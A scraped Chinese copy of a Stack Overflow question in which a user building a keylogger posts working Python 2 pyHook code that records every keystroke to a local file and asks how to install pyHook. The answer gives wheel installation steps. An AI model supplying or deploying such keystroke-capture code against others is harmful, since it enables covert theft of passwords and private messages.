python - 如何下载PyHook模块

标签 python python-2.7

我尝试安装 PyHook 但仍然收到错误:

ImportError: No module named 'pyhook'

请给我一个解决方案。我该如何解决这个错误。

我正在制作一个键盘记录程序。

**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')
    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Please refer screenshot for error

最佳答案

首先检查您正在运行的 python 版本,在我的例子中,当我输入 python 时,我会看到:

Python 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:40:30) [MSC v.1500 64 bit (AMD64)] on win32

这意味着我需要安装 python 2.7 的 64 位版本,最简单的方法是下载 pyhook package from this website ,然后将其保存在您的 virtualenv 目录中(如果您正在使用的话)或只是保存在您的 python 文件夹中。然后打开命令提示符并转到下载包的路径,然后输入 pip install the_name_of_your_package.whl,例如,如果您运行的是 python 2.7 64 位,则输入:

pip install pyHook-1.5.1-cp27-none-win_amd64.whl

一旦正确安装,您的脚本应该可以正常运行。

关于python - 如何下载PyHook模块,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38880842/

相关文章:

python - 在 python/pandas 中转置列

python - 你如何在 linux 上为 python 2.7 和 python 3.2 设置 virtualenv?

python - 在 Python 中从字符串中拆分数字

Python,将CSV文件转换为SQL表

python - HTTP 错误 406 : Not Acceptable Python urllib2

python - 为什么我无法显示 USLT 歌词

jquery - 如何实现选择,以便在用户单击提交按钮时我可以访问我的代码中的选定值

python - 带有补丁的单元测试行为(Flask)

python - CeleryBeat 进程消耗所有操作系统内存

python-2.7 - 如何从pyomo的ipopt界面中找到违反了哪个约束?